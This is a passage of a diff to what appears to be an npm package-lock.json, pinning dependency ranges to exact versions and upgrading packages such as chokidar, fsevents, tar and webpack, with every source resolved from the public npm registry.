"integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==",
"dev": true,
"requires": {
- "micromatch": "^3.1.4",
- "normalize-path": "^2.1.1"
+ "micromatch": "3.1.10",
+ "normalize-path": "2.1.1"
+ },
+ "dependencies": {
+ "normalize-path": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz",
+ "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=",
+ "dev": true,
+ "requires": {
+ "remove-trailing-separator": "1.0.2"
+ }
+ }
}
},
"arr-diff": {
@@ -17378,16 +18797,16 @@
"integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==",
"dev": true,
"requires": {
- "arr-flatten": "^1.1.0",
- "array-unique": "^0.3.2",
- "extend-shallow": "^2.0.1",
- "fill-range": "^4.0.0",
- "isobject": "^3.0.1",
- "repeat-element": "^1.1.2",
- "snapdragon": "^0.8.1",
- "snapdragon-node": "^2.0.1",
- "split-string": "^3.0.2",
- "to-regex": "^3.0.1"
+ "arr-flatten": "1.1.0",
+ "array-unique": "0.3.2",
+ "extend-shallow": "2.0.1",
+ "fill-range": "4.0.0",
+ "isobject": "3.0.1",
+ "repeat-element": "1.1.2",
+ "snapdragon": "0.8.2",
+ "snapdragon-node": "2.1.1",
+ "split-string": "3.1.0",
+ "to-regex": "3.0.2"
},
"dependencies": {
"extend-shallow": {
@@ -17396,30 +18815,29 @@
"integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
"dev": true,
"requires": {
- "is-extendable": "^0.1.0"
+ "is-extendable": "0.1.1"
}
}
}
},
"chokidar": {
- "version": "2.0.4",
- "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.0.4.tgz",
- "integrity": "sha512-z9n7yt9rOvIJrMhvDtDictKrkFHeihkNl6uWMmZlmL6tJtX9Cs+87oK+teBx+JIgzvbX3yZHT3eF8vpbDxHJXQ==",
+ "version": "2.1.8",
+ "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.1.8.tgz",
+ "integrity": "sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg==",
"dev": true,
"requires": {
- "anymatch": "^2.0.0",
- "async-each": "^1.0.0",
- "braces": "^2.3.0",
- "fsevents": "^1.2.2",
- "glob-parent": "^3.1.0",
- "inherits": "^2.0.1",
- "is-binary-path": "^1.0.0",
- "is-glob": "^4.0.0",
- "lodash.debounce": "^4.0.8",
- "normalize-path": "^2.1.1",
- "path-is-absolute": "^1.0.0",
- "readdirp": "^2.0.0",
- "upath": "^1.0.5"
+ "anymatch": "2.0.0",
+ "async-each": "1.0.1",
+ "braces": "2.3.2",
+ "fsevents": "1.2.9",
+ "glob-parent": "3.1.0",
+ "inherits": "2.0.3",
+ "is-binary-path": "1.0.1",
+ "is-glob": "4.0.1",
+ "normalize-path": "3.0.0",
+ "path-is-absolute": "1.0.1",
+ "readdirp": "2.2.1",
+ "upath": "1.2.0"
}
},
"expand-brackets": {
@@ -17428,13 +18846,13 @@
"integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=",
"dev": true,
"requires": {
- "debug": "^2.3.3",
- "define-property": "^0.2.5",
- "extend-shallow": "^2.0.1",
- "posix-character-classes": "^0.1.0",
- "regex-not": "^1.0.0",
- "snapdragon": "^0.8.1",
- "to-regex": "^3.0.1"
+ "debug": "2.6.8",
+ "define-property": "0.2.5",
+ "extend-shallow": "2.0.1",
+ "posix-character-classes": "0.1.1",
+ "regex-not": "1.0.2",
+ "snapdragon": "0.8.2",
+ "to-regex": "3.0.2"
},
"dependencies": {
"define-property": {
@@ -17443,7 +18861,7 @@
"integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
"dev": true,
"requires": {
- "is-descriptor": "^0.1.0"
+ "is-descriptor": "0.1.6"
}
},
"extend-shallow": {
@@ -17452,7 +18870,7 @@
"integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
"dev": true,
"requires": {
- "is-extendable": "^0.1.0"
+ "is-extendable": "0.1.1"
}
},
"is-accessor-descriptor": {
@@ -17461,7 +18879,7 @@
"integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=",
"dev": true,
"requires": {
- "kind-of": "^3.0.2"
+ "kind-of": "3.2.2"
},
"dependencies": {
"kind-of": {
@@ -17470,7 +18888,7 @@
"integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
"dev": true,
"requires": {
- "is-buffer": "^1.1.5"
+ "is-buffer": "1.1.5"
}
}
}
@@ -17481,7 +18899,7 @@
"integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=",
"dev": true,
"requires": {
- "kind-of": "^3.0.2"
+ "kind-of": "3.2.2"
},
"dependencies": {
"kind-of": {
@@ -17490,7 +18908,7 @@
"integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
"dev": true,
"requires": {
- "is-buffer": "^1.1.5"
+ "is-buffer": "1.1.5"
}
}
}
@@ -17501,9 +18919,9 @@
"integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
"dev": true,
"requires": {
- "is-accessor-descriptor": "^0.1.6",
- "is-data-descriptor": "^0.1.4",
- "kind-of": "^5.0.0"
+ "is-accessor-descriptor": "0.1.6",
+ "is-data-descriptor": "0.1.4",
+ "kind-of": "5.1.0"
}
},
"kind-of": {
@@ -17520,14 +18938,14 @@
"integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==",
"dev": true,
"requires": {
- "array-unique": "^0.3.2",
- "define-property": "^1.0.0",
- "expand-brackets": "^2.1.4",
- "extend-shallow": "^2.0.1",
- "fragment-cache": "^0.2.1",
- "regex-not": "^1.0.0",
- "snapdragon": "^0.8.1",
- "to-regex": "^3.0.1"
+ "array-unique": "0.3.2",
+ "define-property": "1.0.0",
+ "expand-brackets": "2.1.4",
+ "extend-shallow": "2.0.1",
+ "fragment-cache": "0.2.1",
+ "regex-not": "1.0.2",
+ "snapdragon": "0.8.2",
+ "to-regex": "3.0.2"
},
"dependencies": {
"define-property": {
@@ -17536,7 +18954,7 @@
"integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=",
"dev": true,
"requires": {
- "is-descriptor": "^1.0.0"
+ "is-descriptor": "1.0.2"
}
},
"extend-shallow": {
@@ -17545,7 +18963,7 @@
"integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
"dev": true,
"requires": {
- "is-extendable": "^0.1.0"
+ "is-extendable": "0.1.1"
}
}
}
@@ -17556,10 +18974,10 @@
"integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=",
"dev": true,
"requires": {
- "extend-shallow": "^2.0.1",
- "is-number": "^3.0.0",
- "repeat-string": "^1.6.1",
- "to-regex-range": "^2.1.0"
+ "extend-shallow": "2.0.1",
+ "is-number": "3.0.0",
+ "repeat-string": "1.6.1",
+ "to-regex-range": "2.1.1"
},
"dependencies": {
"extend-shallow": {
@@ -17568,20 +18986,20 @@
"integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
"dev": true,
"requires": {
- "is-extendable": "^0.1.0"
+ "is-extendable": "0.1.1"
}
}
}
},
"fsevents": {
- "version": "1.2.4",
- "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.4.tgz",
- "integrity": "sha512-z8H8/diyk76B7q5wg+Ud0+CqzcAF3mBBI/bA5ne5zrRUUIvNkJY//D3BqyH571KuAC4Nr7Rw7CjWX4r0y9DvNg==",
+ "version": "1.2.9",
+ "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.9.tgz",
+ "integrity": "sha512-oeyj2H3EjjonWcFjD5NvZNE9Rqe4UW+nQBU2HNeKw0koVLEFIhtyETyAakeAM3de7Z/SW5kcA+fZUait9EApnw==",
"dev": true,
"optional": true,
"requires": {
- "nan": "^2.9.2",
- "node-pre-gyp": "^0.10.0"
+ "nan": "2.14.0",
+ "node-pre-gyp": "0.12.0"
},
"dependencies": {
"abbrev": {
@@ -17593,8 +19011,7 @@
"ansi-regex": {
"version": "2.1.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"aproba": {
"version": "1.2.0",
@@ -17603,7 +19020,7 @@
"optional": true
},
"are-we-there-yet": {
- "version": "1.1.4",
+ "version": "1.1.5",
"bundled": true,
"dev": true,
"optional": true,
@@ -17615,21 +19032,19 @@
"balanced-match": {
"version": "1.0.0",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"brace-expansion": {
"version": "1.1.11",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"balanced-match": "1.0.0",
"concat-map": "0.0.1"
}
},
"chownr": {
- "version": "1.0.1",
+ "version": "1.1.1",
"bundled": true,
"dev": true,
"optional": true
@@ -17637,20 +19052,17 @@
"code-point-at": {
"version": "1.1.0",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"concat-map": {
"version": "0.0.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"console-control-strings": {
"version": "1.1.0",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"core-util-is": {
"version": "1.0.2",
@@ -17659,16 +19071,16 @@
"optional": true
},
"debug": {
- "version": "2.6.9",
+ "version": "4.1.1",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "ms": "2.0.0"
+ "ms": "2.1.1"
}
},
"deep-extend": {
- "version": "0.5.1",
+ "version": "0.6.0",
"bundled": true,
"dev": true,
"optional": true
@@ -17691,7 +19103,7 @@
"dev": true,
"optional": true,
"requires": {
- "minipass": "2.2.4"
+ "minipass": "2.3.5"
}
},
"fs.realpath": {
@@ -17713,11 +19125,11 @@
"signal-exit": "3.0.2",
"string-width": "1.0.2",
"strip-ansi": "3.0.1",
- "wide-align": "1.1.2"
+ "wide-align": "1.1.3"
}
},
"glob": {
- "version": "7.1.2",
+ "version": "7.1.3",
"bundled": true,
"dev": true,
"optional": true,
@@ -17737,7 +19149,7 @@
"optional": true
},
"iconv-lite": {
- "version": "0.4.21",
+ "version": "0.4.24",
"bundled": true,
"dev": true,
"optional": true,
@@ -17767,8 +19179,7 @@
"inherits": {
"version": "2.0.3",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"ini": {
"version": "1.3.5",
@@ -17780,7 +19191,6 @@
"version": "1.0.0",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"number-is-nan": "1.0.1"
}
@@ -17795,7 +19205,6 @@
"version": "3.0.4",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"brace-expansion": "1.1.11"
}
@@ -17803,70 +19212,67 @@
"minimist": {
"version": "0.0.8",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"minipass": {
- "version": "2.2.4",
+ "version": "2.3.5",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
- "safe-buffer": "5.1.1",
- "yallist": "3.0.2"
+ "safe-buffer": "5.1.2",
+ "yallist": "3.0.3"
}
},
"minizlib": {
- "version": "1.1.0",
+ "version": "1.2.1",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "minipass": "2.2.4"
+ "minipass": "2.3.5"
}
},
"mkdirp": {
"version": "0.5.1",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"minimist": "0.0.8"
}
},
"ms": {
- "version": "2.0.0",
+ "version": "2.1.1",
"bundled": true,
"dev": true,
"optional": true
},
"needle": {
- "version": "2.2.0",
+ "version": "2.3.0",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "debug": "2.6.9",
- "iconv-lite": "0.4.21",
+ "debug": "4.1.1",
+ "iconv-lite": "0.4.24",
"sax": "1.2.4"
}
},
"node-pre-gyp": {
- "version": "0.10.0",
+ "version": "0.12.0",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
"detect-libc": "1.0.3",
"mkdirp": "0.5.1",
- "needle": "2.2.0",
+ "needle": "2.3.0",
"nopt": "4.0.1",
- "npm-packlist": "1.1.10",
+ "npm-packlist": "1.4.1",
"npmlog": "4.1.2",
- "rc": "1.2.7",
- "rimraf": "2.6.2",
- "semver": "5.5.0",
- "tar": "4.4.1"
+ "rc": "1.2.8",
+ "rimraf": "2.6.3",
+ "semver": "5.7.0",
+ "tar": "4.4.8"
}
},
"nopt": {
@@ -17880,19 +19286,19 @@
}
},
"npm-bundled": {
- "version": "1.0.3",
+ "version": "1.0.6",
"bundled": true,
"dev": true,
"optional": true
},
"npm-packlist": {
- "version": "1.1.10",
+ "version": "1.4.1",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
"ignore-walk": "3.0.1",
- "npm-bundled": "1.0.3"
+ "npm-bundled": "1.0.6"
}
},
"npmlog": {
@@ -17901,7 +19307,7 @@
"dev": true,
"optional": true,
"requires": {
- "are-we-there-yet": "1.1.4",
+ "are-we-there-yet": "1.1.5",
"console-control-strings": "1.1.0",
"gauge": "2.7.4",
"set-blocking": "2.0.0"
@@ -17910,8 +19316,7 @@
"number-is-nan": {
"version": "1.0.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"object-assign": {
"version": "4.1.1",
@@ -17923,7 +19328,6 @@
"version": "1.4.0",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"wrappy": "1.0.2"
}
@@ -17963,12 +19367,12 @@
"optional": true
},
"rc": {
- "version": "1.2.7",
+ "version": "1.2.8",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "deep-extend": "0.5.1",
+ "deep-extend": "0.6.0",
"ini": "1.3.5",
"minimist": "1.2.0",
"strip-json-comments": "2.0.1"
@@ -17992,25 +19396,24 @@
"inherits": "2.0.3",
"isarray": "1.0.0",
"process-nextick-args": "2.0.0",
- "safe-buffer": "5.1.1",
+ "safe-buffer": "5.1.2",
"string_decoder": "1.1.1",
"util-deprecate": "1.0.2"
}
},
"rimraf": {
- "version": "2.6.2",
+ "version": "2.6.3",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "glob": "7.1.2"
+ "glob": "7.1.3"
}
},
"safe-buffer": {
- "version": "5.1.1",
+ "version": "5.1.2",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"safer-buffer": {
"version": "2.1.2",
@@ -18025,7 +19428,7 @@
"optional": true
},
"semver": {
- "version": "5.5.0",
+ "version": "5.7.0",
"bundled": true,
"dev": true,
"optional": true
@@ -18046,7 +19449,6 @@
"version": "1.0.2",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"code-point-at": "1.1.0",
"is-fullwidth-code-point": "1.0.0",
@@ -18059,14 +19461,13 @@
"dev": true,
"optional": true,
"requires": {
- "safe-buffer": "5.1.1"
+ "safe-buffer": "5.1.2"
}
},
"strip-ansi": {
"version": "3.0.1",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"ansi-regex": "2.1.1"
}
@@ -18078,18 +19479,18 @@
"optional": true
},
"tar": {
- "version": "4.4.1",
+ "version": "4.4.8",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
- "chownr": "1.0.1",
+ "chownr": "1.1.1",
"fs-minipass": "1.2.5",
- "minipass": "2.2.4",
- "minizlib": "1.1.0",
+ "minipass": "2.3.5",
+ "minizlib": "1.2.1",
"mkdirp": "0.5.1",
- "safe-buffer": "5.1.1",
- "yallist": "3.0.2"
+ "safe-buffer": "5.1.2",
+ "yallist": "3.0.3"
}
},
"util-deprecate": {
@@ -18099,7 +19500,7 @@
"optional": true
},
"wide-align": {
- "version": "1.1.2",
+ "version": "1.1.3",
"bundled": true,
"dev": true,
"optional": true,
@@ -18110,14 +19511,12 @@
"wrappy": {
"version": "1.0.2",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"yallist": {
- "version": "3.0.2",
+ "version": "3.0.3",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
}
}
},
@@ -18127,8 +19526,8 @@
"integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=",
"dev": true,
"requires": {
- "is-glob": "^3.1.0",
- "path-dirname": "^1.0.0"
+ "is-glob": "3.1.0",
+ "path-dirname": "1.0.2"
},
"dependencies": {
"is-glob": {
@@ -18137,7 +19536,7 @@
"integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=",
"dev": true,
"requires": {
- "is-extglob": "^2.1.0"
+ "is-extglob": "2.1.1"
}
}
}
@@ -18148,7 +19547,7 @@
"integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
"dev": true,
"requires": {
- "kind-of": "^6.0.0"
+ "kind-of": "6.0.2"
}
},
"is-data-descriptor": {
@@ -18157,7 +19556,7 @@
"integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
"dev": true,
"requires": {
- "kind-of": "^6.0.0"
+ "kind-of": "6.0.2"
}
},
"is-descriptor": {
@@ -18166,9 +19565,9 @@
"integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
"dev": true,
"requires": {
- "is-accessor-descriptor": "^1.0.0",
- "is-data-descriptor": "^1.0.0",
- "kind-of": "^6.0.2"
+ "is-accessor-descriptor": "1.0.0",
+ "is-data-descriptor": "1.0.0",
+ "kind-of": "6.0.2"
}
},
"is-extglob": {
@@ -18178,12 +19577,12 @@
"dev": true
},
"is-glob": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.0.tgz",
- "integrity": "sha1-lSHHaEXMJhCoUgPd8ICpWML/q8A=",
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz",
+ "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==",
"dev": true,
"requires": {
- "is-extglob": "^2.1.1"
+ "is-extglob": "2.1.1"
}
},
"is-number": {
@@ -18192,7 +19591,7 @@
"integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=",
"dev": true,
"requires": {
- "kind-of": "^3.0.2"
+ "kind-of": "3.2.2"
},
"dependencies": {
"kind-of": {
@@ -18201,11 +19600,17 @@
"integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
"dev": true,
"requires": {
- "is-buffer": "^1.1.5"
+ "is-buffer": "1.1.5"
}
}
}
},
+ "isarray": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+ "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=",
+ "dev": true
+ },
"isobject": {
"version": "3.0.1",
"resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
@@ -18224,27 +19629,74 @@
"integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==",
"dev": true,
"requires": {
- "arr-diff": "^4.0.0",
- "array-unique": "^0.3.2",
- "braces": "^2.3.1",
- "define-property": "^2.0.2",
- "extend-shallow": "^3.0.2",
- "extglob": "^2.0.4",
- "fragment-cache": "^0.2.1",
- "kind-of": "^6.0.2",
- "nanomatch": "^1.2.9",
- "object.pick": "^1.3.0",
- "regex-not": "^1.0.0",
- "snapdragon": "^0.8.1",
- "to-regex": "^3.0.2"
+ "arr-diff": "4.0.0",
+ "array-unique": "0.3.2",
+ "braces": "2.3.2",
+ "define-property": "2.0.2",
+ "extend-shallow": "3.0.2",
+ "extglob": "2.0.4",
+ "fragment-cache": "0.2.1",
+ "kind-of": "6.0.2",
+ "nanomatch": "1.2.13",
+ "object.pick": "1.3.0",
+ "regex-not": "1.0.2",
+ "snapdragon": "0.8.2",
+ "to-regex": "3.0.2"
}
},
"nan": {
- "version": "2.11.1",
- "resolved": "https://registry.npmjs.org/nan/-/nan-2.11.1.tgz",
- "integrity": "sha512-iji6k87OSXa0CcrLl9z+ZiYSuR2o+c0bGuNmXdrhTQTakxytAFsC56SArGYoiHlJlFoHSnvmhpceZJaXkVuOtA==",
+ "version": "2.14.0",
+ "resolved": "https://registry.npmjs.org/nan/-/nan-2.14.0.tgz",
+ "integrity": "sha512-INOFj37C7k3AfaNTtX8RhsTw7qRy7eLET14cROi9+5HAVbbHuIWUHEauBv5qT4Av2tWasiTY1Jw6puUNqRJXQg==",
"dev": true,
"optional": true
+ },
+ "normalize-path": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
+ "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==",
+ "dev": true
+ },
+ "process-nextick-args": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
+ "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==",
+ "dev": true
+ },
+ "readable-stream": {
+ "version": "2.3.6",
+ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
+ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
+ "dev": true,
+ "requires": {
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.3",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.1",
+ "safe-buffer": "5.1.1",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
+ }
+ },
+ "readdirp": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.2.1.tgz",
+ "integrity": "sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==",
+ "dev": true,
+ "requires": {
+ "graceful-fs": "4.1.11",
+ "micromatch": "3.1.10",
+ "readable-stream": "2.3.6"
+ }
+ },
+ "string_decoder": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
+ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+ "dev": true,
+ "requires": {
+ "safe-buffer": "5.1.1"
+ }
}
}
},
@@ -18254,41 +19706,58 @@
"integrity": "sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==",
"dev": true,
"requires": {
- "minimalistic-assert": "^1.0.0"
+ "minimalistic-assert": "1.0.1"
}
},
"webpack": {
- "version": "4.20.2",
- "resolved": "https://registry.npmjs.org/webpack/-/webpack-4.20.2.tgz",
- "integrity": "sha512-75WFUMblcWYcocjSLlXCb71QuGyH7egdBZu50FtBGl2Nso8CK3Ej+J7bTZz2FPFq5l6fzCisD9modB7t30ikuA==",
+ "version": "4.40.2",
+ "resolved": "https://registry.npmjs.org/webpack/-/webpack-4.40.2.tgz",
+ "integrity": "sha512-5nIvteTDCUws2DVvP9Qe+JPla7kWPPIDFZv55To7IycHWZ+Z5qBdaBYPyuXWdhggTufZkQwfIK+5rKQTVovm2A==",
"dev": true,
"requires": {
- "@webassemblyjs/ast": "1.7.8",
- "@webassemblyjs/helper-module-context": "1.7.8",
- "@webassemblyjs/wasm-edit": "1.7.8",
- "@webassemblyjs/wasm-parser": "1.7.8",
- "acorn": "^5.6.2",
- "acorn-dynamic-import": "^3.0.0",
- "ajv": "^6.1.0",
- "ajv-keywords": "^3.1.0",
- "chrome-trace-event": "^1.0.0",
- "enhanced-resolve": "^4.1.0",
- "eslint-scope": "^4.0.0",
- "json-parse-better-errors": "^1.0.2",
- "loader-runner": "^2.3.0",
- "loader-utils": "^1.1.0",
- "memory-fs": "~0.4.1",
- "micromatch": "^3.1.8",
- "mkdirp": "~0.5.0",
- "neo-async": "^2.5.0",
- "node-libs-browser": "^2.0.0",
- "schema-utils": "^0.4.4",
- "tapable": "^1.1.0",
- "uglifyjs-webpack-plugin": "^1.2.4",
- "watchpack": "^1.5.0",
- "webpack-sources": "^1.3.0"
+ "@webassemblyjs/ast": "1.8.5",
+ "@webassemblyjs/helper-module-context": "1.8.5",
+ "@webassemblyjs/wasm-edit": "1.8.5",
+ "@webassemblyjs/wasm-parser": "1.8.5",
+ "acorn": "6.3.0",
+ "ajv": "6.10.2",
+ "ajv-keywords": "3.4.1",
+ "chrome-trace-event": "1.0.2",
+ "enhanced-resolve": "4.1.0",
+ "eslint-scope": "4.0.3",
+ "json-parse-better-errors": "1.0.2",
+ "loader-runner": "2.4.0",
+ "loader-utils": "1.2.3",
+ "memory-fs": "0.4.1",
+ "micromatch": "3.1.10",
+ "mkdirp": "0.5.1",
+ "neo-async": "2.6.1",
+ "node-libs-browser": "2.2.1",
+ "schema-utils": "1.0.0",
+ "tapable": "1.1.3",
+ "terser-webpack-plugin": "1.4.1",
+ "watchpack": "1.6.0",
+ "webpack-sources": "1.4.3"
},
"dependencies": {
+ "ajv": {
+ "version": "6.10.2",
+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.2.tgz",
+ "integrity": "sha512-TXtUUEYHuaTEbLZWIKUr5pmBuhDLy+8KYtPYdcV8qC+pOZL+NKqYwvWSRrVXHn+ZmRRAu8vJTAznH7Oag6RVRw==",
+ "dev": true,
+ "requires": {
+ "fast-deep-equal": "2.0.1",
+ "fast-json-stable-stringify": "2.0.0",
+ "json-schema-traverse": "0.4.1",
+ "uri-js": "4.2.2"
+ }
+ },
+ "ajv-keywords": {
+ "version": "3.4.1",
+ "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.4.1.tgz",
+ "integrity": "sha512-RO1ibKvd27e6FEShVFfPALuHI3WjSVNeK5FIsmme/LYRNxjKuNj+Dt7bucLa6NdSv3JcVTyMlm9kGR84z1XpaQ==",
+ "dev": true
+ },
"arr-diff": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz",
@@ -18301,22 +19770,28 @@
"integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=",
"dev": true
},
+ "big.js": {
+ "version": "5.2.2",
+ "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz",
+ "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==",
+ "dev": true
+ },
"braces": {
"version": "2.3.2",
"resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz",
"integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==",
"dev": true,
"requires": {
- "arr-flatten": "^1.1.0",
- "array-unique": "^0.3.2",
- "extend-shallow": "^2.0.1",
- "fill-range": "^4.0.0",
- "isobject": "^3.0.1",
- "repeat-element": "^1.1.2",
- "snapdragon": "^0.8.1",
- "snapdragon-node": "^2.0.1",
- "split-string": "^3.0.2",
- "to-regex": "^3.0.1"
+ "arr-flatten": "1.1.0",
+ "array-unique": "0.3.2",
+ "extend-shallow": "2.0.1",
+ "fill-range": "4.0.0",
+ "isobject": "3.0.1",
+ "repeat-element": "1.1.2",
+ "snapdragon": "0.8.2",
+ "snapdragon-node": "2.1.1",
+ "split-string": "3.1.0",
+ "to-regex": "3.0.2"
},
"dependencies": {
"extend-shallow": {
@@ -18325,19 +19800,19 @@
"integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
"dev": true,
"requires": {
- "is-extendable": "^0.1.0"
+ "is-extendable": "0.1.1"
}
}
}
},
"eslint-scope": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-4.0.0.tgz",
- "integrity": "sha512-1G6UTDi7Jc1ELFwnR58HV4fK9OQK4S6N985f166xqXxpjU6plxFISJa2Ba9KCQuFa8RCnj/lSFJbHo7UFDBnUA==",
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-4.0.3.tgz",
+ "integrity": "sha512-p7VutNr1O/QrxysMo3E45FjYDTeXBy0iTltPFNSqKAIfjDSXC+4dj+qfyuD8bfAXrW/y6lW3O76VaYNPKfpKrg==",
"dev": true,
